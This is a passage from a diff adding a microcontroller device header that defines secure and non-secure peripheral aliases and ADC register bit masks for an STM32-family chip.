GFXMMU_VIRTUAL_BUFFERS_BASE_S +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_S +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_S +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_S +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_S + +#define GPU2D GPU2D_BASE_S + +#define LTDC LTDC_S +#define LTDC_BASE LTDC_BASE_S + +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_S +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_S + + +#define REFBIAS REFBIAS_S +#define REFBIAS_BASE REFBIAS_BASE_S + +#define DPHY DPHY_S +#define DPHY_BASE DPHY_BASE_S + +#define JPEG JPEG_S +#define JPEG_BASE JPEG_BASE_S + +#define GFXTIM GFXTIM_S +#define GFXTIM_BASE GFXTIM_BASE_S +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM3_BASE SRAM3_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define SRAM5_BASE SRAM5_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define SRAM6_BASE SRAM6_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DMA2D DMA2D_NS +#define DMA2D_BASE DMA2D_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS +#define GPIOJ GPIOJ_NS +#define GPIOJ_BASE GPIOJ_BASE_NS + +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_NS +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define RAMCFG_SRAM6 RAMCFG_SRAM6_NS +#define RAMCFG_SRAM6_BASE RAMCFG_SRAM6_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define DCACHE2 DCACHE2_NS +#define DCACHE2_BASE DCACHE2_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define GTZC_MPCBB5 GTZC_MPCBB5_NS +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_NS + +#define GTZC_MPCBB6 GTZC_MPCBB6_NS +#define GTZC_MPCBB6_BASE GTZC_MPCBB6_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define I2C5 I2C5_NS +#define I2C5_BASE I2C5_BASE_NS + +#define I2C6 I2C6_NS +#define I2C6_BASE I2C6_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP2 OPAMP2_NS +#define OPAMP2_BASE OPAMP2_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP2 COMP2_NS +#define COMP2_BASE COMP2_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define OCTOSPI2 OCTOSPI2_NS +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_NS + +#define OCTOSPIM OCTOSPIM_NS +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_NS +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_NS + +#define HSPI1 HSPI1_NS +#define HSPI1_R_BASE HSPI1_R_BASE_NS + +#define USB_OTG_HS USB_OTG_HS_NS +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#define GFXMMU GFXMMU_NS +#define GFXMMU_BASE GFXMMU_BASE_NS +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE GFXMMU_VIRTUAL_BUFFERS_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_NS + +#define GPU2D GPU2D_BASE_NS + +#define LTDC LTDC_NS +#define LTDC_BASE LTDC_BASE_NS + +#define LTDC_Layer1 LTDC_Layer1_NS +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_NS + +#define LTDC_Layer2 LTDC_Layer2_NS +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_NS + + +#define REFBIAS REFBIAS_NS +#define REFBIAS_BASE REFBIAS_BASE_NS + +#define DPHY DPHY_NS +#define DPHY_BASE DPHY_BASE_NS + +#define JPEG JPEG_NS +#define JPEG_BASE JPEG_BASE_NS + +#define GFXTIM GFXTIM_NS +#define GFXTIM_BASE GFXTIM_BASE_NS +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +#define ADC_MULTIMODE_SUPPORT +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define 